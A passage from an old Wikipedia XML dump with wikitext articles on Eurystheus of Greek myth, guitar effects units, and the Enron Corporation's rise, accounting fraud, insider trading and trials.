      <text xml:space="preserve">In [[Greek mythology]], '''Eurystheus''' was king of [[Tiryns]], one of three [[Mycenaean]] strongholds in the [[Argolid]]: [[Sthenelus]] was his father and the &quot;horsewoman&quot; '''Nykippe''' his mother, and he was a grandson of the hero [[Perseus (mythology)|Perseus]], as was his opponent [[Heracles]]. In the contest of wills between [[Hera]] and [[Zeus]] over whom the the hero would be, who would defeat the remaining creatures representing an old order and bring about the reign of the [[Twelve Olympians]], Eurystheus (&quot;wide strength&quot;) was Hera's candidate and [[Heracles]]&amp;mdash;though his name implies that at one archaic stage of myth-making he had been &quot;Hera's man&quot;&amp;mdash; was the candidate of Zeus. The arena for the actions that would bring about this deep change are the [[Twelve Labors]] imposed on [[Heracles]], by Eurystheus. The immediate necessity for the Labours of Heracles is as penance for Heracles' murder of his own family, in a fit of madness&amp;ndash;that was sent by Hera, however; further human rather than mythic motivation is supplied by mythographers who note that their repective families families had been rivals for the throne of [[Mycenae]]. Details on the Twelve Labours are to be found at the article on [[Heracles]], but Hera was connected with all of the opponents Heracles had to overcome

Heracles' human step-father [[Amphitryon]] was also a grandson of Perseus, and since Amphitryon's father ([[Alcaeus]]) was older than Eurystheus' father ([[Sthenelus]]), he might have received the kingdom, but Sthenelus had banished Amphitryon for accidentally murdering (a familiar [[mytheme]]) the eldest son in the family ([[Electryon]]). When [[Zeus]] proclaimed the next born descendant of Perseus should get the kingdom shortly before his son Heracles was born, [[Hera]] thwarted his ambitions by delaying [[Alcmene]]'s labour and having her candidate Eurystheus born prematurely.

Heracles first task was to slay the [[Nemean Lion]] and bring back its skin, which Heracles decided to wear.  Eurystheus was so scared by Heracles' fearsome guise that he hid in a subterranean  bronze winejarjar and from that moment forth all labors were communicated to Heracles through a [[herald]], [[Copreus]].

For his second labour, to slay the [[Lernaean Hydra]], Heracles took with him his nephew, [[Iolaus]], as a charioteer.  When Eurystheus found out that Heracles' nephew had helped him he declared that the labour had not been completed alone and as a result did not count towards the ten labours set for him.

Eurystheus' third task did not involve killing a beast, but to capture the [[Cerynian Hind]], a golden-horned stag sacred to [[Artemis]].  Heracles knew that he had to return the hind as he had promised to Artemis, so he agreed to hand it over on the condition that Eurystheus himself came out and took it from him.  Eurystheus came out, but the moment Heracles let the hind go, it sprinted back to her mistress, and Heracles left saying that Eurystheus had not been quick enough.

When Heracles returned with the [[Erymanthian Boar]], Eurystheus was frightened and hid again in his jar and begged Heracles to get rid of the beast; Heracles obliged.

For his seventh labour Heracles  captured the [[Cretan Bull]].  Heracles used a [[lasso]] and rode it back to his cousin.  Eurystheus wanted to sacrifice the bull to [[Hera]] his patron, who hated Heracles.  She refused the sacrifice because it reflected glory on Heracles.  The bull was released and wandered to Marathon, becoming known as the [[Marathonian Bull]].

When Heracles brought  back the man-eating [[Mares of Diomedes]] successfully, Eurystheus dedicated the horses to Hera and allowed them to roam freely in the Argolid. [[Bucephalus]], [[Alexander the Great]]'s horse, was said to be descended from these mares. 

To acquire the belt of [[Hippolyte]], queen of the [[Amazons]] was Heracles's ninth task.  This task was at the request of Eurystheus' daughter, [[Admete]].

To extend what may have once been ten Labours to the canonical dozen, it was said that Eurystheus didn't count the Hydra, as he was assisted, or the Augean stables as Heracles received payment for his work.
For the eleventh labour Heracles had to steal the Apples of the [[Hesperides]]; his final labour was to capture [[Cerberus]], the three-headed hound that guarded the entrance to [[Hades]].  

After Heracles died, Eurystheus attempted to destroy his many children (the [[Heracleidae]], led by [[Hyllus]]), who fled to [[Athens]].  He attacked the city, but was soundly defeated, and he and his sons were killed.  The stories about the killer of Eurystheus and the fate of his corpse vary, but the Athenians believed it remained on their soil and served to protect the country against the descendants of Heracles, who traditionally included the [[Sparta|Spartans]] and [[Argos|Argives]].  

After him, the brothers [[Atreus]] and [[Thyestes]], whom he had left in charge during his absence, took over the city, the former exiling the latter and assuming the kingship, while [[Tiryns]] returned to the overlordship of [[Argos]].

==References==
*[[Karl Kerenyi|Kerenyi, Karl]], 1959. ''The Heroes of the Greeks''

[[Category:Greek mythological people]]

[[de:Eurystheus]]
[[es:Euristeo]]
[[fr:Eurysthée]]
[[it:Euristeo]]
[[nl:Eurystheus]]
[[ru:Еврисфей]]
[[sv:Eurystheus]]
[[uk:Еврістей]]</text>
    </revision>
  </page>
  <page>
    <title>Effects unit</title>
    <id>10165</id>
    <revision>
      <id>39854372</id>
      <timestamp>2006-02-16T08:37:47Z</timestamp>
      <contributor>
        <ip>24.124.93.39</ip>
      </contributor>
      <comment>/* Boutique Pedal Manufacturers */</comment>
      <text xml:space="preserve">{{mergefrom|Effects pedal}}
'''Effects units''' are devices that affect the sound of an electric instrument when plugged in to the electrical signal path the instrument sends, most often an [[electric guitar]] or [[electric bass|bass guitar]]. They can also be used on other instruments or sound sources, like the [[Rhodes_piano|Rhodes Piano]] or standard [[MIDI]] keyboards, synths or even the human voice. While some effect units transform the sound completely, others just color the sound picture in a minor way. 

An effects unit consists of one or more electronic devices which typically contain analog circuitry for processing audio signals, similar to that found in music synthesizers, for example active and passive filters, envelope followers, voltage-controlled oscillators, or digital delays.

Effects units are packaged by their manufacturers, and used by musicians, in various sizes, the most common of which are the stomp-box and the rack-mount unit.  A &quot;[[Stomp box]]&quot; is a metal box, containing the circuitry, which is placed on the floor in front of the musician and connected in line with, say, the guitar cord.  The box is typically controlled by one or more foot-pedal on-off switches and typically contains only one or two effects.  A second type of effects unit may contain the identical electronic circuit, but is mounted in a standard 19&quot; equipment rack.  Usually, however, rack-mount effects units contain several different types of effects.  They are typically controlled by knobs or switches on the front panel, and often by a MIDI digital control interface.  &quot;Off-boards&quot; are used by musicians who prefer multiple stomp-boxes; these may be simply pieces of plywood with several stomp-box units fastened to the plywood and connected in series.  Rackmounted effects or off-boards can combine several effects in one unit, and can include analog controls such as pedals or knobs. 

Modern desktop and notebook computers often have sound processing capabilities that rival commercially available effects boxes. Some can process sound through [[VST]]-plugins. With a decent sound card, musicians can play any instrument through a computer, emulating any effects unit or even an amplifier in a convincing way. Many VST-plugins are freely downloadable from the World Wide Web.

==Types of effects==
=== Dynamics ===
; [[Audio level compression|Compressor]] : The [[gain]] of the amplifier is varied to reduce the [[dynamic range]] of the signal.
; [[Tremolo]] : Tremolo produces a periodic variation in the amplitude (volume) of the note.  A sine wave applied as input to a voltage-controlled amplifier produces this effect.

=== Tone ===
; [[Overdrive]] and [[distortion]]: The signal is amplified past the limits of the amplifier, resulting in clipping.  Example:  Guitar on &quot;Spirit in the Sky&quot; by [[Norman Greenbaum]].  (see [[Fuzzbox]])
; [[Wah-wah]] : An effect that gives the instrument an almost vocal effect. Example: &quot;White Room&quot; by Cream, used by [[Eric Clapton]]. Popular in [[funk]] and [[psychedelic rock]] (i.e. [[Jimi Hendrix]]).
; [[Ring modulation]] : &quot;Organic&quot; effect. 
; [[Equalization|Equalizer]] : Adjusts the frequency response in a number of different bands of EQ. Variants include the Parametric EQ, which instead of flatly boosting and cutting frequencies, curves the frequency response to include changes in adjacent frequencies. Examples: [http://www.bossarea.com Boss PN-2 and GE-2]
; [[Clean Boost]] or any other &quot;booster&quot;: Amplifies some aspect of the instrument's signal output. Generally used for preventing signal loss through long chains of effects units (pedals) and getting overdrive tones out of a tube amp. On stage, used for volume boosts for solos. Examples: [http://www.zvex.com/hardon.html Zachary Vex's Super Hard On], [http://www.catalinbread.com/picoso.html catalinbread's Super Chile Picoso], [http://www.bigblockeffects.com Big Block Effects NOS Boost].
;  Talk Box : A vowel-tuned wah that actually takes a human voice as the wah control. Used in many Bon Jovi songs

=== Time-based ===
; [[Delay]] : First used by [[Les Paul]], e.g. ''I'm Forever Blowing Bubbles.'' (Modern digital delay units, the first of which was the Eventide Harmonizer, involve sound waves being converted from analog to digital signals, and clocked through large banks of RAM memory. Paul achieved time delay by stretching audiotape between two reel-to-reel tape decks spaced several feet apart.)
; [[Echo]] : Uses delays to simulate an echo.
; [[chorus effect|Chorus]] : Usually short delays to simulate more than one person playing at a time
; [[Flanging]] : Uses very short variable delays to cause a changing [[comb filter]] effect
; [[Reverb]] : Simulates echoes in stadiums, halls, other performance areas. Even actual surfaces, such as plate metal and metal springs, are sometimes simulated.

=== Frequency ===
; [[Pitch shifter]] : Also introduced by the Harmonizer which has a knob on the front to &quot;change your pitch up.&quot; First used on ''Itchycoo Park'' by Small Faces.

; [[Vibrato]] : Vibrato refers to a variation in frequency of a note, for example as an opera singer holding one note for a long time will varies the frequency up and down.  A sine wave applied as input to a voltage-controlled oscillator produces this effect.&lt;br&gt;Guitarists often use the terms &quot;vibrato&quot; and &quot;tremolo&quot; inconsistently. A so-called ''vibrato unit'' in a guitar amplifier actually produces tremolo, while a ''tremolo arm'' on a guitar produces vibrato.  However, ''finger vibrato'' is genuine vibrato.  See [[Electric guitar]], [[tremolo]], [[vibrato]].


=== Other specific effects ===

; '''Defretter''' : It simulates a fretless [[guitar]]

; [[Acoustic guitar]] '''simulator''' : Simulates an acoustic guitar. Example: [http://www.bossarea.com Boss AC-2]

; '''Rotary speaker''': A [[Leslie speaker]] simulation effect. One particular effect of this type (the Uni-Vibe) was made famous by Jimi Hendrix.

; '''Envelope Follower''' : Uses the signal amplitude envelope to control one or more effects. Example: [http://www.toadworksusa.com/el ToadWorks Enveloope]

; [[Pickup]] '''simulation''' : Simulates either a [[single-coil]] pickup if the musician has a [[humbucker]] or vice-versa. 

; Ambience modelling : Creates an ambience through an amalgam of effects.

; [[Guitar amplifier]] modelling : Models instrument tone to imitate the tone produced by various amplifiers, especially to attain the [[valve sound]] with solid-state equipment.

These types of effects are usually digital, and can therefore be found as features of [[effect processors]] such as the Boss ME series and Vox multieffects.

== Notable manufacturers ==
* [[Behringer]] ([http://www.behringer.com homepage])
* [[BOSS]] ([http://www.bossus.com homepage])
* [[Digitech]] ([http://www.digitech.com homepage])
* [[DOD Electronics|DOD]] ([http://www.dod.com homepage])
* [[Dunlop Manufacturing, Inc.|Jim Dunlop]] ([http://jimdunlop.com homepage])
* [[Korg]] ([http://www.korg.com homepage])
* [[Lexicon ]]([http://www.lexiconpro.com homepage])
* [[Line6]] ([http://www.line6.com homepage])
* [[Roland]] ([http://www.roland.com homepage])
* [[TC Electronic]] ([http://www.tcelectronic.com homepage])
* [[Vox (musical equipment)|Vox]] ([http://voxamps.co.uk/ homepage])
* [[Zoom (Audio Company)|Zoom]] ([http://www.zoom.co.jp homepage])

== Boutique Pedal Manufacturers ==
* [[AnalogMan]] ([http://www.analogman.com homepage])
* [[Big Block Effects]] ([http://www.bigblockeffects.com homepage])
* [[catalinbread]] ([http://www.catalinbread.com homepage])
* [[Effector 13]] ([http://www.effector13.com homepage])
* [[Frantone]] ([http://www.frantone.com homepage])
* [[Metasonix]] ([http://www.metasonix.com homepage])
* [[Robert Keeley]] ([http://www.robertkeeley.com homepage])
* [[Smart People Factory]] ([http://www.smartpeoplefactory.com homepage])
* [[ToadWorks USA]] ([http://www.toadworksusa.com homepage])
* [[ZVEX Effects]] ([http://www.zvex.com/effects homepage])
;Boutique Manufacturers : Homemade and designed pedals.

==External links==

*[http://www.big-muff.net Big Muff &amp; Guitar Effects Museum].

== See also ==
* [[Effects pedals]]

[[Category:Effects units]]</text>
    </revision>
  </page>
  <page>
    <title>Enron Corporation</title>
    <id>10166</id>
    <revision>
      <id>42086516</id>
      <timestamp>2006-03-03T19:07:24Z</timestamp>
      <contributor>
        <username>TimPope</username>
        <id>203786</id>
      </contributor>
      <minor />
      <comment>/* Aftermath */ dab District Judge</comment>
      <text xml:space="preserve">{{Infobox_Company |
  company_name   = Enron Corporation |
  company_logo   = [[Image:EnronLogo.png|100px|Enron logo, designed by [[Paul Rand]]]] |
  company_type   = [[Public company|Public]] |
  company_slogan = Ask Why. |
  foundation     = [[Omaha, Nebraska]], [[1985]] |
  location       = [[Houston, Texas]], [[USA]] |
  key_people     = [[Kenneth Lay]], Founder&lt;br /&gt;[[Stephen F. Cooper]], Interim CEO and CRO&lt;br /&gt;[[Ray Bowen]], Executive VP and CFO&lt;br /&gt;[[John J. Ray, III]], Chairman |
  industry = [[Energy]] |
  num_employees  = 300 |
  homepage       = [http://www.enron.com/ www.enron.com]
}}
 
'''Enron Corporation''' is an energy company based in [[Houston, Texas|Houston]], [[Texas]]. Prior to its [[bankruptcy]] in late [[2001]], Enron employed around 21,000 people and was one of the world's leading electricity, natural gas, and [[telecommunications|communications]] companies, with claimed revenues of $101 billion in 2000. [[Fortune magazine]] named Enron &quot;America's Most Innovative Company&quot; for six consecutive years. It became most famous at the end of 2001 when it was revealed that it was sustained mostly by institutionalized, systematic, and well-planned [[accounting scandals|accounting fraud]]. Its [[Europe]]an operations filed for bankruptcy on [[November 30]], [[2001]], and it sought [[Chapter 11]] protection in the U.S. two days later, on [[December 2]]. It still exists, operating a handful of key assets, and making preparations for the sale or spin off of remaining businesses. Enron emerged from bankruptcy in November of 2004 after one of the biggest and most complex cases in US history. It has since entered the common consciousness as a symbol of willful corporate fraud and corruption.

==Growth==
Enron was founded in 1930 as [[Northern Natural Gas Company]], a consortium of Northern American Power and Light Company, Lone Star Gas Company, and United Lights and Railways Corporation. The consortium ownership was gradually dissolved between 1941 and 1947 through a public stock offering. In 1979, Northern Natural Gas was restructured under the ownership of a new holding company, InterNorth Inc., which replaced Northern Natural Gas on the New York Stock Exchange. 

In 1985, [[InterNorth]] acquired competitor [[Houston Natural Gas]] Company in a transaction engineered by HNG CEO [[Kenneth Lay]]. Although InterNorth was the purchaser, Lay emerged as CEO and promptly renamed InterNorth as Enron Corporation, with headquarters in Houston rather than InterNorth/Northern Natural Gas's base in Omaha. Initially, the company was to be named Enteron, chosen for the positive connotations of &quot;enter&quot; and &quot;on&quot;, but when it was pointed out that the term meant &quot;[[intestine]]&quot;, it was quickly shortened. 

Enron was originally involved in the transmission and distribution of electricity and gas throughout the United States and the development, construction, and operation of [[power plant]]s, [[pipeline]]s, and other infrastructure worldwide. In 1998 it moved into the [[water sector]], creating the [[Azurix]] Corporation, which it part-floated on the NYSE in June 1999. Azurix failed to break into the water utility market, with its only major concession, in [[Buenos Aires]] Province, a large-scale money loser. In [[April 2001]] Enron announced its intention to break up Azurix and sell its assets.

Enron grew wealthy, it claimed, through its pioneering [[marketing]] and [[promotion]] of power and [[communication|communications]] [[bandwidth]] [[commodities]] and related [[derivative (finance)|derivative]]s as tradable [[financial instruments]], including exotic items such as [[weather derivatives]]. As a result, Enron was named &quot;America's Most Innovative Company&quot; by ''[[Fortune magazine]]'' for six consecutive years, from 1996 to 2001. It was on the ''Fortune'''s &quot;100 Best Companies to Work for in America&quot; list in 2000, and was legendary even among the elite workers of the financial world for the opulence of its offices. However, as was later discovered, many of these recorded profits were inflated or even wholly fraudulent and totally nonexistant, by the use of sophisticated and arcane financial transactions between Enron and related companies formed to take unprofitable entities off the company's books.

==Products==
Enron traded more than 800 different products online at EnronOnline, including the following.

* Advertising Risk Management
* Bandwidth*
* Broadband Services
* Building Services
* Coal*
* Credit Risk Management*
* Crude Oil &amp; Products*
* Electricity / Power
* Emission Allowances*
* Energy Outsourcing
* Energy Asset Management
* Enron Intelligent Network
* Facility Management
* Forest Product s*
* Freight
* Media Risk Management
* Metals* (also see Steel)
* Natural Powers of Gas*
* Lumber*
* Oil &amp; LNG Transportation
* Petrochemicals*
* Plastics*
* Power*
* Principal Investments
* Pulp &amp; Paper*
* Risk Management for Commodities
* Shipping / Freight
* Steel*
* Streaming Media
* Water &amp; Wastewater
* Weather Risk Management*
* Wind Energy
 
(Items with a (*) were traded on [[EnronOnline]])

Its was also an extensive futures trader: sugar futures, coffee futures, hog futures, grains, and other meat futures.

==EnronOnline==
:{{main|EnronOnline}}

In November 1999, Enron launched EnronOnline. EnronOnline was the first web-based transaction system that allowed buyers and sellers to buy, sell, and trade commodity products globally. It allowed users to do business only with Enron, which was seen as a particular weakness. Due to the giant cash needs of Enron Online and the company wasting money in other areas such as broadband, Azurix, [[Enron Energy Services]], and shutting down the original pipeline service which generated cash flow, Enron virtually drained itself of cash. The Enron Global Finance department had to keep working up more and more creative financing moves to keep the company up and running.

==Decline==
Enron's global reputation was undermined, however, by persistent rumours of [[bribery]] and political pressure to secure contracts in [[Central America|Central]] and [[South America]], in [[Africa]], and in the [[Philippines]]. Especially controversial was its $3 billion contract with the [[Maharashtra State Electricity Board]] in [[India]], where it is alleged that Enron officials used political connections within the [[Bill Clinton|Clinton]] and [[George W. Bush|Bush]] administrations to exert pressure on the board. On [[January 9]], [[2002]], the [[United States Department of Justice]] announced it was going to pursue a criminal investigation of Enron and [[Congress of the United States|Congressional]] hearings began on [[January 24]].

After a series of [[Accounting scandals|scandals]] involving irregular accounting procedures bordering on fraud involving Enron and its accounting firm [[Arthur Andersen]], it stood at the verge of undergoing the largest bankruptcy in history by mid-November 2001. A [[white knight (business)|white knight]] rescue attempt by a similar, smaller energy company, [[Dynegy]], was not viable.

During 2001, Enron shares fell from over US $90.00 to US$0.30. As Enron was considered a [[blue chip]] stock, this was an unprecedented and disastrous event in the financial world. Enron's plunge occurred after it was revealed that much of its profits and revenue were the result of deals with [[Special Purpose Entity|special purpose entities]] ([[limited partnership]]s which it controlled). The result of this was that many of the losses that Enron suffered were not reported in its [[financial statements]].

==Insider Trading==
===Beginning===
[[Insider trading]], trading of a [[security (finance)]] based on material non-public information about a company, at Enron Corporation is not just a thing of the late 1990s or early 2000s. Enron has had trouble with insider trading dating back even to the 1980s. The first documented example of insider trading at Enron occurred in 1987. Two [[auditors]], David Woytek and John Beard, discovered [[bank]] records showing that millions of dollars had been moved from Enron into the personal accounts of Louis Borget and Thomas Mastroeni. 

Both Louis Borget and Thomas Mastroeni were rumored to consort with rulers of [[Saudi Arabia]] and [[Kuwait]], gaining inside information on the workings of [[OPEC]]. This insider information had led to more profitable trading of oil [[commodities]], until the cash flows from Enron into personal accounts were discovered by Woytek and Beard. Both auditors were told by [[Chief Executive Officer]] [[Kenneth Lay ]] to continue their investigation and make sure every penny was returned to the rightful account; however, no immediate action was taken against the perpetrators. 

Woytek and Beard would eventually gather enough information to prove that Borget and Mastroeni were participating in insider trading and stealing from the company. This information included bank statements that showed cash flows that were not recorded in the company's records along with copies of altered statements that Borget had filed with the company. However, despite all of the evidence that the two auditors had collected, they were told to drop the investigation by Enron's [[president]], Mick Seidl, and the [[Chief Financial Officer]], Keith Kern. Unfortunately for Woytek and Beard, Borget had brought in tens of millions of dollars to the company. Enron had given both Woytek and Beard the impression that the annual profits that Borget brought in to the corporation were more important than maintaining legal practices.

===The Recent Insider Trading===
If the Enron traders were indeed participating in insider trading during the 1980s, they apparently did not learn their lesson from nearly being caught by David Woytek and John Beard. To the auditors, it seemed that Enron would become caught up in the race for higher profits and would pursue them even if it meant using illegal practices.

Enron had created [[offshore entities]], a unit which may be used for planning and avoidance of [[tax|taxes]], raising the profitability of a business. This provided ownership and management with full freedom of [[currency]] movement, and full anonymity, that would hide losses that the company was taking. These entities made Enron look more profitable than it actually was, and created a dangerous spiral in which each quarter, corporate officers would have to perform more and more contorted financial wizardry to create the illusion of billions in profits while the company was actually bleeding cash. This practice drove up the [[stock]] price to new levels at which point the executives began to work on insider information and trade millions of dollars worth of Enron stock. The executives and insiders at Enron knew about the offshore accounts that were hiding losses for the company, however, the investors knew nothing of this. Chief Financial Officer [[Andrew Fastow]] led the team which created the off-books companies, and manipulated the deals to provide himself, his family and his friends with hundreds of millions of dollars in guaranteed revenue, at the expense of the corporation he worked for and its stockholders.

In August of 2000, Enron's stock price hit its highest value of $90. It was at this point in time that Enron's executives, who possessed the inside information of the hidden losses, began to sell their stock. At the same time, the general public and Enron's [[investors]] were told to buy the stock, as the sky was the limit. Enron's executives told the investors that the stock would continue to climb until it reached possibly into the $130 to $140 range, while secretly unloading their shares as they knew the opposite to be true. 

As executives were selling off their shares of stock, the price continued to drop. As the price dropped, investors were told to continue buying stock or hold steady if they already owned Enron because the stock price would rebound in the near future. Kenneth Lay's strategy for responding to Enron's continuing problems was in his appearance. As he did many times, Lay would issue a statement or make an appearance to calm investors and assure them that Enron was headed in the right direction. 

By [[August 15]], [[2001]], Enron's stock price had fallen to $42 compared to its high of $90 just a year prior. Many of the investors trusted what Lay was telling them and still believed that Enron would rule the market. The investors continued to buy or hold onto their stock and lost more money every day. As October closed, the stock had fallen to $15 per share and many investors saw this as a great opportunity to buy Enron stock because of what Kenneth Lay had been telling them in the [[media]]. Just under a month later, on [[November 28]], the stock price would slip below one dollar as the public was finally made aware of the millions of dollars in losses that Enron had been hiding. 

Enron CEO Kenneth Lay has been accused of selling over $70 million worth of stock at this time, which he used to repay cash advances on line of [[credit (finance)|credit]]. He sold another $20 million worth of stock in the open market. Also, Lay's wife, Linda, has been accused of selling 500,000 shares of Enron stock totaling $1.2 million on [[November 28]], [[2001]]. The money earned from this sale did not go to the family but rather to [[charitable organizations]], which had already received pledges of contributions from the foundation. Records show that Mrs. Lay placed the sale order sometime between 10:00 and 10:20 AM, while the news of Enron's problems went public about 10:30 that morning. 

Former Enron executive Paula Rieker has been charged with criminal insider trading. Rieker obtained the 18,380 Enron shares for $15.51 a share. She sold that stock for $49.77 a share in July 2001, a week before the public was told what she already knew about the $102 million loss.

===Aftermath===
Kenneth Lay and Jeffrey Skilling, both former Enron chief executive officers, went on [[trial (law)|trial]] for their part in the Enron scandal in January 2006. Former [[chief accounting officer]] Richard Causey were on trial along with Lay and Skilling. The 53-count, 65-page [[indictment]] covers a broad range of financial crimes, including [[bank fraud]], making false statements to banks and auditors, [[securities fraud]], [[wire fraud]], [[money laundering]], money laundering conspiracy and insider trading. U.S. [[United States federal judge|District Judge]] Sim Lake has previously denied motions by the defendants to hold separate trials and to move the case out of Houston, where the defendants argued the negative publicity surrounding Enron's demise would make it impossible to get a fair trial. 

Mr. Lay pleaded not guilty to the eleven criminal charges. Lay has stated that he is innocent and that he was misled by those around him. The [[U.S. Securities and Exchange Commission]] (SEC) is seeking more than $90 million from Lay in addition to civil fines. The SEC would like to see that Mr. Lay is barred from ever serving as a director or an officer for a [[publicly held company]].

The case surrounding Mrs. Linda Lay is a difficult one. Mrs. Lay sold roughly 500,000 shares of Enron thirty minutes to ten minutes before the information that Enron was collapsing went public on [[November 28]], [[2001]]. This was information that Enron executives had known for over a year. This timeline of events presents a very good case for the prosecution. 

However, there are two specific points that make the case against Mrs. Lay a difficult one. The largest hurdle for the prosecution is that the Lays did not profit from the sale of this stock. It instead went to their family foundation and in the months following, the proceeds were given away to charity. The second hurdle is that even if Mr. Lay had come home and told his wife about Enron's troubles, this communication is a marital confidence and its disclosure cannot be forced. This would mean the government would have to find a third party witness to testify that Mrs. Lay did have insider knowledge at the time of the sale. 

Former managing director of [[investor relations]] for Enron Paula Rieker plead guilty in [[federal court]] to a criminal insider trading charge. The one [[felony]] charge against Rieker carries a maximum penalty of ten years in prison and a $1 million fine. Rieker agreed to never again serve as an officer or director of a public company. If a federal court approves the settlement, Rieker will pay the SEC $499,333, the profit from the sale of 18,380 share of Enron stock. Rieker has been a valuable witness for the government as she prepared earnings releases and conference calls with Enron analysts.

On [[December 28]], [[2005]], former [[chief accounting officer|CAO]] [[Richard Causey]] pleaded guilty to securities fraud. He will have to serve 7 years in prison and pay $1.25 million to the US Government. Causey has the possibility of only serving 5 years in prison if he cooperates and testifies against former Chairmen and CEO, [[Kenneth Lay]] and former CEO and COO, [[Jeffrey Skilling]].

On [[January 13]], [[2006]] lobbyist [[William &quot;Art&quot; Roberts]] pleaded guilty to impersonating Senate staff members during the investigation.

Roberts was hired by a German bank in June 2004 to get a letter from a Senate subcommittee stating the bank had done their [[due dilligence]] investigating the Enron collapse, as part of the bank's defense in a suit filed against it by a London bank. [http://www.bloomberg.com/apps/news?pid=10000103&amp;sid=aKHHN.3en36I&amp;refer=us]

==Fallout==
The long-term implications of Enron's collapse are somewhat unclear, but there is considerable political fallout both in the US and in the UK relating to the money Enron gave to political figures (around US$6 million since 1990). The fallout from the scandal quickly extended beyond Enron and all those formerly associated with it. The trial of [[Arthur Andersen]] on charges of [[obstruction of justice]] related to Enron also helped to expose its accounting fraud at [[WorldCom]]. The subsequent bankruptcy of that telecommunications firm quickly set off a wave of other [[accounting scandals]]. This wave engulfed many companies, exposing high-level corruption, accounting errors, and [[insider trading]]. Though at the time of its collapse, Enron was the largest bankruptcy in history, since then it has been eclipsed by the collapse of [[WorldCom]].

Former Enron CFO [[Andrew Fastow]], the [[mastermind]] behind Enron's complex network of [[Offshoring|offshore]] partnerships and questionable accounting practices, was [[indict]]ed on [[November 1]], [[2002]], by a federal [[grand jury]] in Houston on 78 counts including [[fraud]], [[money laundering]], and [[conspiracy (criminal)|conspiracy]]. He and his wife [[Lea Fastow]], former assistant treasurer, accepted a [[plea agreement]] on [[January 14]], [[2004]]. Andrew Fastow will serve a ten-year prison sentence and forfeit US $23.8 million, while Lea Fastow will serve a five-month prison sentence and a year of supervised release, including five months of house arrest; in return, both will provide testimony against other Enron corporate officers.

Ben Glisan Jr., a former Enron [[treasurer]], was the first man to be sent to [[prison]] in the Enron scandal. He pled guilty to one count of [[conspiracy]] to commit security and [[wire fraud]].

[[John Forney]], a former energy trader who invented various strategies such as the &quot;[[Death Star (Business)|Death Star]]&quot;, was indicted in December 2002, on 11 counts of conspiracy and [[wire fraud]]. His trial was scheduled for [[October 12]], [[2004]]. His supervisors, [[Timothy Belden]] and [[Jeffrey Richter]], have both pled guilty to conspiring to commit wire fraud and currently are aiding prosecutors in investigating this scandal.  

[[Jeffrey Skilling]] was arrested on [[February 11]], [[2004]], by the [[Federal Bureau of Investigation|FBI]].
[[Kenneth Lay]] was indicted by a federal [[grand jury]] on [[July 7]], [[2004]] for his involvement in the scandal. He pled not guilty in court on [[July 9]]. Both men are scheduled for [[The trial of Kenneth Lay and Jeffrey Skilling|trial]] in January 2006.

Enron's collapse also led to the creation of the [[Sarbanes-Oxley Act]], signed into law on [[July 30]], [[2002]]. It is considered the most significant change to federal [[securities law]]s since [[Franklin D. Roosevelt|FDR's]] [[New Deal]] in the [[1930s]].

The status of the [[pension]] plans that were promised to Enron's employees has been in question since the collapse of Enron.  The [[Pension Benefit Guaranty Corporation]] is attempting to cover some and possibly all of the promised benefits.

===Trials===
* [[Arthur Andersen LLP v. United States]]
* [[Enron Broadband trial]]
* [[The trial of Kenneth Lay and Jeffrey Skilling|Lay and Skilling trial]]

==Pensions==
Thousands of Enron employees and investors lost their life savings, children's college funds, and [[pensions]] when Enron collapsed. A [[lawsuit]] on the behalf of a group of Enron's shareholders has been filed against Enron executives and directors. This lawsuit accuses twenty-nine of these executives and directors of insider trading and misleading the public. 

Because the 401(k) plan is a defined contribution plan, there was no [[PBGC]] insurance and employees lost their money that was invested in Enron stock.  They could only sue anyone who is considered a [[fiduciary]] for breach of their duty of care based on [[ERISA]] Section 404.

==Restructuring==
Following the 2001 bankruptcy filing, Enron has been attempting to restructure in order to compensate as many creditors as possible. Enron's innovative core energy trading business was sold early in the bankruptcy proceedings to Merrill Lynch and Company. A last-ditch survival attempt was made in 2001 through a planned merger with arch-rival Dynegy Corporation. Dynegy backed out during merger talks, acquiring control of Enron's original, predecessor company - Northern Natural Gas - in the process. Enron is currently pursuing legal action against Dynegy over the takeover of Northern Natural Gas, which has since been sold by Dynegy to MidAmerican Energy Holdings Company. 

Enron's final bankruptcy plan provides for the creation of three new businesses to be spun off from Enron as independent, debt-free companies. The reorganization process commenced in 2003, with the formation of two new Enron subsidiaries, CrossCountry Energy L.L.C., and [[Prisma Energy International Inc.]] 

CrossCountry Energy, formed from Enron's domestic gas pipeline assets, was immediately placed on the market for creditor compensation. On [[September 1]], [[2004]], Enron announced an agreement to sell CrossCountry Energy to CCE Holdings L.L.C. (a joint venture between Southern Union Company and a unit of General Electric) for $2.45 billion. The money will be used for debt repayment, and represents a substantial increase over the previous offer made by NuCoastal L.L.C. earlier in 2004. 

Prisma Energy International, formed out of Enron's remaining overseas assets, will emerge from bankruptcy as a main-line descendant of Enron through a stock offering to Enron creditors. Currently, many of Prisma's assets remain under direct Enron ownership with Prisma operating in a management capacity. 

The third company, [[Portland General Electric]] (PGE), was founded in 1889, and ranks as Oregon's largest utility. PGE was acquired by Enron during the 1990's, and will emerge from bankruptcy as an independent company through a private stock offering to Enron creditors.

All remaining assets not related to CrossCountry, Prisma, or Portland General will be liquidated. [[As of 2006]], CrossCountry is now under CCE Holdings ownership, while the Portland General and Prisma deals remain to be consummated. Enron emerged from Chapter 11 bankruptcy protection in November 2004 but will likely be wound down once the recovery plan is carried out. Enron's remaining assets are grouped under two main subsidiary companies- Prisma Energy International and Portland General Electric, both of which will likely be spun off.

==Various==
The baseball stadium Enron Field in [[Houston, Texas]], named after the company, was renamed to ''[[Houston Astros|Astros]] Field'' to avoid negative publicity. The park's name was later changed to ''[[Minute Maid Park]]''. The [[Houston Astros]] had to pay Enron $5 million to get out of the deal.

[[David Tonsall]], a former Enron employee, became a rapper under the name [[N Run]], which is a play on the name &quot;Enron&quot; and also stands for &quot;never run.&quot; He released his CD ''Corporate America'' on [[December 3]], [[2003]].

&quot;The Women of Enron&quot; were the subject of a pictorial in the August 2002 issue of ''[[Playboy]]'' magazine.

A 2005 movie, ''[[Enron: The Smartest Guys in the Room]]'', based on the 2003 bestseller of the same name by [[Bethany McLean]] and [[Peter Elkind]], documents the Enron story. [http://www.alternet.org/movies/21840/] [http://www.imdb.com/title/tt0413845/]

As a result of their investigation the [[FERC]] made a large portion of Enron's email database available to the public. This database comprises roughly 500,000 email messages and has become a standard dataset in email research.[http://www.cs.cmu.edu/~enron/]

== See also ==
* [[Timeline of the Enron scandal]]
* [[Pension fund losses with Enron]]
* [[The Enron Three]]
* [[California electricity crisis]]
* ''[[Conspiracy of Fools]]''
* [[Corporate abuse]]
* [[Corporate crime]]
